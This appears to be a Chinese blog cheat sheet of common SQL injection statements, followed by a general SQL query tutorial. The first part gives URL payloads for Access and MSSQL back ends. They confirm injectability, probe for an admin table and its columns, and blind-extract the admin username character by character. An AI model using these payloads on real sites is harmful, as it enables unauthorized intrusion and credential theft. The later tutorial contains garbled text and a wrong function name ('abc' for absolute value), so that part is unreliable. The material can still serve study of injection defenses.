1. 程式人生 > >常用sql注入語句

常用sql注入語句

檢測可否注入

http://127.0.0.1/xx?id=11 and 1=1 (正常頁面)

http://127.0.0.1/xx?id=11 and 1=2 (出錯頁面)


檢測表段的


http://127.0.0.1/xx?id=11 and exists (select * from admin)


檢測欄位的


http://127.0.0.1/xx?id=11 and exists (select username from admin)


檢測ID


http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)


檢測長度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)



檢測長度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


檢測是否為MSSQL資料庫


http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)


檢測是否為英文


(ACCESS資料庫)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)


(MSSQL資料庫)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)


檢測英文的範圍


(ACCESS資料庫)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)


(MSSQL資料庫)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)


檢測那個字元


(ACCESS資料庫)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)


(MSSQL資料庫)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)


常用函式


Access:asc(字元) SQLServer:unicode(字元)

作用:返回某字元的ASCII碼


Access:chr(數字) SQLServer:nchar(數字)

作用:與asc相反,根據ASCII碼返回字元


Access:mid(字串,N,L) SQLServer:substring(字串,N,L)

作用:返回字串從N個字元起長度為L的子字串,即N到N+L之間的字串


Access:abc(數字) SQLServer:abc (數字)

作用:返回數字的絕對值(在猜解漢字的時候會用到)


Access:A between B And C SQLServer:A between B And C

作用:判斷A是否界於B與C之間


and exists(Select top 1 * From 使用者 order by id)



1.在查詢結果中顯示列名:

a.用as關鍵字:select name as ’姓名’ from students order by age

b.直接表示:select name ’姓名’ from students order by age


2.精確查詢:

a.用in限定範圍:select * from students where native in (’湖南’, ’四川’)

b.between...and:select * from students where age between 20 and 30

c.“=”:select * from students where name = ’李山’

d.like:select * from students where name like ’李%’ (注意查詢條件中有“%”,則說明是部分匹配,而且還有先後資訊在裡面,即查詢以“李”開頭的匹配項。所以若查詢有“李”的所有物件,應該命令:’%李%’;若是第二個字為李,則應為’_李%’或’_李’或’_李_’。)

e.[]匹配檢查符:select * from courses where cno like ’[AC]%’ (表示或的關係,與"in(...)"類似,而且"[]"可以表示範圍,如:select * from courses where cno like ’[A-C]%’)



3.對於時間型別變數的處理

a.smalldatetime:直接按照字串處理的方式進行處理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’



4.集函式

a.count()求和,如:select count(*) from students (求學生總人數)

b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’

c.max(列)和min(列),求最大與最小


5.分組group

常用於統計時,如分組查總數:select gender,count(sno) from students group by gender(檢視男女學生各有多少)

注意:從哪種角度分組就從哪列"group by"

對於多重分組,只需將分組規則羅列。比如查詢各屆各專業的男女同學人數 ,那麼分組規則有:屆別(grade)、專業(mno)和

性別(gender),所以有"group by grade, mno, gender"

select grade, mno, gender, count(*) from students group by grade, mno, gender

通常group還和having聯用,比如查詢1門課以上不及格的學生,則按學號(sno)分類有:

select sno,count(*) from grades where mark<60 group by sno having count(*)>1



6.UNION聯合

合併查詢結果,如:

Select * FROM students Where name like ‘張%’UNION [ALL] Select * FROM students Where name like ‘李%’



7.多表查詢

a.內連線

select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

(注意可以引用別名)

b.外連線

b1.左連線

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno
左連線特點:顯示全部左邊表中的所有專案,即使其中有些項中的資料未填寫完全。


左外連線返回那些存在於左表而右表中卻沒有的行,再加上內連線的行。

b2.右連線

與左連線類似

b3.全連線

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

兩邊表中的內容全部顯示

c.自身連線

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

採用別名解決問題。

d.交*連線

select lastname+firstname from lastname CROSS JOIN firstanme

相當於做笛卡兒積



8.巢狀查詢

a.用關鍵字IN,如查詢豬豬山的同鄉:

select * from students where native in (select native from students where name=’豬豬’)

b.使用關鍵字EXIST,比如,下面兩句是等價的:

select * from students where sno in (select sno from grades where cno=’B2’)


select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)



9.關於排序order

a.對於排序order,有兩種方法:asc升序和desc降序

b.對於排序order,可以按照查詢條件中的某項排列,而且這項可用數字表示,如:

select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3


10.其他

a.對於有空格的識別名稱,應該用"[]"括住。

b.對於某列中沒有資料的特定查詢可以用null判斷,如select sno,courseno from grades where mark IS NULL

c.注意區分在巢狀查詢中使用的any與all的區別,any相當於邏輯運算“||”而all則相當於邏輯運算“&&”

d.注意在做否定意義的查詢是小心進入陷阱:

如,沒有選修‘B2’課程的學生 :

select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查詢方式是錯誤的,正確方式見下方:

select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)


11.關於有難度多重巢狀查詢的解決思想:如,選修了全睝@緯痰難 ?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重:從學生表中選,排除那些有課沒選的。用not exist。由於討論物件是課程,所以第二重查詢從course表中找,排除那些選了課的即可